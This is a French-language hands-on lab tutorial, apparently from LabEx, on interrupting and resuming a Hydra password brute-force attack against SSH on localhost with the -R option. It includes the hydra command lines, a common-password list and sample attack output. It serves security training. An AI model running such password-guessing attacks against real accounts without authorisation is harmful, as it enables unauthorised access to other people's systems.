Restaurer une session Hydra précédente

HydraBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire (lab), nous allons apprendre à restaurer une session Hydra précédente après une interruption. Cela est réalisé en simulant une attaque Hydra interrompue contre le service ssh sur localhost en utilisant une simple liste de mots de passe. Nous allons ensuite utiliser l'option -R pour restaurer la session et vérifier que l'attaque reprend à partir du dernier point.

Le laboratoire consiste à créer une liste de mots de passe, à construire une commande Hydra pour attaquer le service ssh, à interrompre l'attaque avec Ctrl+C, puis à restaurer la session en utilisant l'option -R. Enfin, nous explorerons comment modifier la session restaurée avec une nouvelle option.

Simuler une attaque Hydra interrompue

Dans cette étape, nous allons simuler une attaque Hydra interrompue. C'est une étape cruciale pour comprendre comment utiliser l'option -R pour restaurer une session. Nous allons démarrer une attaque Hydra, puis l'interrompre manuellement, imitant un scénario du monde réel où l'attaque pourrait être arrêtée en raison de problèmes de réseau ou d'autres circonstances imprévues.

Tout d'abord, prévisualisons une simple liste de mots de passe. Cette liste contiendra quelques mots de passe courants que Hydra tentera d'utiliser.

cd ~/project
head -n 5 passwords.txt

Ajoutez les mots de passe suivants au fichier :

password
123456
qwerty
admin
1234567890

Ensuite, nous avons besoin d'une cible à attaquer. À des fins de démonstration, nous utiliserons le service ssh sur localhost. Assurez-vous que ssh est en cours d'exécution sur votre machine virtuelle (VM) LabEx. S'il n'est pas en cours d'exécution, vous pouvez généralement le démarrer avec sudo service ssh start. Cependant, comme il s'agit d'un conteneur Docker, vous ne pourrez peut-être pas utiliser systemctl ou service. Dans ce cas, vous pouvez sauter l'attaque réelle et vous concentrer simplement sur la création de la commande et son interruption. Nous supposerons que ssh est en cours d'exécution pour l'exercice.

sudo service ssh start
sudo service ssh status

Maintenant, construisons la commande Hydra. Nous utiliserons le module ssh, spécifierons le nom d'utilisateur labex, utiliserons notre fichier passwords.txt et ciblerons localhost. Nous ajouterons également l'option -t 1 pour limiter le nombre de tâches simultanées à 1, ce qui facilitera l'observation de l'interruption.

hydra -l labex -P ~/project/passwords.txt -t 1 -vV ssh://localhost

Cette commande démarrera une attaque Hydra contre le service ssh sur localhost, en tentant de se connecter en tant qu'utilisateur labex en utilisant les mots de passe dans ~/project/passwords.txt.

Laissez l'attaque s'exécuter quelques secondes (par exemple, 5 à 10 secondes). Pendant qu'elle s'exécute, appuyez sur Ctrl+C pour interrompre l'attaque.

Vous devriez voir une sortie similaire à la suivante (la sortie exacte variera en fonction de la vitesse de votre système et du nombre de mots de passe que Hydra a essayés) :

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 13:56:44
[DATA] max 1 task per 1 server, overall 1 task, 55 login tries (l:1/p:55), ~55 tries per task
[DATA] attacking ssh://localhost:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://labex@127.0.0.1:22
[INFO] Successful, password authentication is supported by ssh://127.0.0.1:22
[ATTEMPT] target localhost - login "labex" - pass "password" - 1 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "123456" - 2 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "qwerty" - 3 of 55 [child 0] (0/0)
^C[ERROR] Received signal 2, going down ...
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
cancel attack

Le ^C indique que vous avez appuyé sur Ctrl+C pour interrompre le processus. Hydra cessera de tester les mots de passe.

Cette interruption simule un scénario où l'attaque est inopinément arrêtée. Dans l'étape suivante, nous apprendrons à utiliser l'option -R pour reprendre cette session interrompue.

Restaurer la session avec l'option -R

Dans l'étape précédente, nous avons simulé une attaque Hydra interrompue. Maintenant, nous allons utiliser l'option -R pour restaurer la session à partir du point où elle s'est arrêtée. Hydra enregistre automatiquement sa progression dans un fichier .restore dans le répertoire actuel. L'option -R indique à Hydra de lire ce fichier et de poursuivre l'attaque.

Pour restaurer la session, exécutez simplement la même commande Hydra que précédemment, mais ajoutez l'option -R :

hydra -R -l labex -P ~/project/passwords.txt -t 1 -vV ssh://localhost

Hydra va maintenant lire le fichier hydra.restore (qui est créé automatiquement) et reprendre l'attaque à partir du dernier point atteint avant l'interruption. Vous devriez voir Hydra continuer à tester les mots de passe du fichier ~/project/passwords.txt.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[INFORMATION] reading restore file ./hydra.restore
[WARNING] options after -R are now honored (since v8.6)
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 13:57:58
[DATA] max 1 task per 1 server, overall 1 task, 55 login tries (l:1/p:55), ~55 tries per task
[DATA] attacking ssh://localhost:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://labex@127.0.0.1:22
[INFO] Successful, password authentication is supported by ssh://127.0.0.1:22
[RE-ATTEMPT] target localhost - login "labex" - pass "qwerty" - 3 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "admin" - 4 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "1234567890" - 5 of 55 [child 0] (0/0)
^C[ERROR] Received signal 2, going down ...
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
restore attack

Laissez l'attaque s'exécuter quelques secondes de plus. Vous pourriez constater que Hydra saute les mots de passe qu'il a déjà testés dans l'étape précédente.

L'option -R est extrêmement utile dans les situations où vous avez une longue liste de mots de passe ou une connexion réseau lente. Elle vous permet de reprendre l'attaque sans avoir à recommencer depuis le début, ce qui vous fait gagner du temps et des ressources.

Il est important de noter que le fichier hydra.restore est automatiquement mis à jour au fur et à mesure que Hydra progresse. Si vous interrompez l'attaque à nouveau, vous pouvez utiliser la même commande -R pour reprendre à partir du nouveau point d'interruption.

Résumé

Dans ce laboratoire (lab), nous avons simulé une attaque Hydra interrompue contre le service SSH sur localhost pour comprendre comment restaurer une session. Nous avons créé une liste de mots de passe et lancé une attaque Hydra ciblant l'utilisateur 'labex', puis nous avons interrompu manuellement le processus en utilisant Ctrl+C.

Cette interruption nous a permis de nous préparer pour les étapes suivantes, où nous apprendrons à utiliser l'option -R pour restaurer la session interrompue et poursuivre l'attaque à partir du point où elle s'est arrêtée, ainsi qu'à modifier la session restaurée avec de nouvelles options.